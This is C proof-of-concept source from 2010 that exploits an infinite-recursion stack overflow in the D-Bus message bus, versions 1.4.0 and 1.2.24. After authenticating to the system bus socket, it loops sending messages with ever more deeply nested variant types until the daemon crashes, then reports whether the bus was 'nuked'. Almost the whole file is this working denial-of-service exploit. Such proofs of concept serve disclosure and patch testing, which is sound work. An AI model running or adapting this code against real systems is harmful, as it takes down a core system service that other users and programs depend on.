/* * D-Bus variant infinite recursion stack overflow * http://www.remlab.net/op/dbus-variant-recursion.shtml * * proof of concept code * version 1.0 (Dec 11 2010) * * by Rémi Denis-Courmont * http://www.remlab.net/ * * Vulnerable: * - D-Bus 1.4.0 * - D-Bus 1.2.24 * * Not vulnerable: * - ? */ /***************************************************************************** * Copyright (C) 2010 Rémi Denis-Courmont. All rights reserved. * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * 1. Redistributions of source code must retain the above copyright * * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * *****************************************************************************/ #include #include #include #include #include #include #include #include static int bus_connect (void) { int fd = socket (PF_LOCAL, SOCK_STREAM, 0); if (fd == -1) { perror ("Local socket error"); return -1; } struct sockaddr_un addr; memset (&addr, 0, sizeof (addr)); addr.sun_family = AF_LOCAL; /*addr.sun_len = sizeof (addr);*/ strcpy (addr.sun_path, "/var/run/dbus/system_bus_socket"); if (connect (fd, (struct sockaddr *)&addr, sizeof (addr))) { perror ("Bus connection error"); close (fd); return -1; } return fd; } static int bus_authenticate (int fd) { char buf[128], uidstr[11], *out = buf; uid_t uid = geteuid (); memcpy (out, "\0AUTH EXTERNAL ", 15); out += 15; sprintf (uidstr, "%"PRIu32, (uint32_t)uid); for (char *in = uidstr; *in; in++) { *(out++) = '3'; *(out++) = *in; } memcpy (out, "\r\n", 2); out += 2; send (fd, buf, out - buf, MSG_NOSIGNAL); ssize_t val = recv (fd, buf, sizeof (buf), 0); if (val == -1) { perror ("Bus authencation error"); return -1; } if (val < 3 || memcmp (buf, "OK ", 3)) { fputs ("Bus authentication failure\n", stderr); return -1; } send (fd, "BEGIN\r\n", 7, MSG_NOSIGNAL); return 0; } static int bus_hello (int fd) { /* D-Bus hello (little endian) */ static const char hello[] = "l" "\1" "\0" "\1" "\0\0\0\0" "\1\0\0\0" "n\0\0\0" /* Object path */ "\1" "\1" "o\0" "\25\0\0\0" "/org/freedesktop/DBus\0" "\0\0" /* Destination */ "\6" "\1" "s\0" "\24\0\0\0" "org.freedesktop.DBus\0" "\0\0\0" /* Interface */ "\2" "\1" "s\0" "\24\0\0\0" "org.freedesktop.DBus\0" "\0\0\0" /* Method */ "\3" "\1" "s\0" "\5\0\0\0" "Hello\0" "\0\0"; char buf[1024]; ssize_t val; send (fd, hello, sizeof (hello) - 1, MSG_NOSIGNAL); val = recv (fd, buf, sizeof (buf), 0); if (val == -1) { perror ("Bus handshake error"); return -1; } if (val < 16) { fputs ("Bus handshake failure\n", stderr); return -1; } return 0; } int main (void) { puts ("D-Bus variant type recursion stack overflow vulnerability\n" "proof of concept code\n" "Copyright (C) 2010 Rémi Denis-Courmont\n"); int fd = bus_connect (); if (fd == -1) return 1; uint32_t serial = 1; if (bus_authenticate (fd) || bus_hello (fd)) { close (fd); return 1; } serial++; for (unsigned i = 0;; i += 2048) { static const char header[] = /* Object path */ "\1" "\1" "o\0" "\1\0\0\0" "/\0" "\0\0\0\0\0\0" /* Interface */ "\2" "\1" "s\0" "\16\0\0\0" "net.remlab.lol\0" "\0" /* Name */ "\3" "\1" "s\0" "\t\0\0\0" "recursion\0" "\0\0\0\0\0\0" /* Signature */ "\10" "\1" "g\0" "\1" "v\0"; uint32_t hlen = sizeof (header) - 1; uint32_t plen = 3 * i + 4; uint8_t *msg = malloc (16 + plen + hlen), *p = msg; if (msg == NULL) { perror ("Memory error"); close (fd); return 1; } memcpy (p, "l\4\1\1", 4); p += 4; memcpy (p, &plen, 4); p += 4; memcpy (p, &serial, 4); serial++; p += 4; memcpy (p, &hlen, 4); p += 4; memcpy (p, header, hlen); p += hlen; *(p++) = 0; for (unsigned j = 0; j < i; j++) { memcpy (p, "\1v\0", 3); p += 3; } memcpy (p, "\1y\0" "\0", 4); p += 4; ssize_t val = send (fd, msg, p - msg, MSG_NOSIGNAL); free (msg); if (val != (p - msg)) break; } close (fd); fd = bus_connect (); close (fd); if (fd == -1) puts ("Bus nuked!"); else puts ("Bus still alive."); return 0; }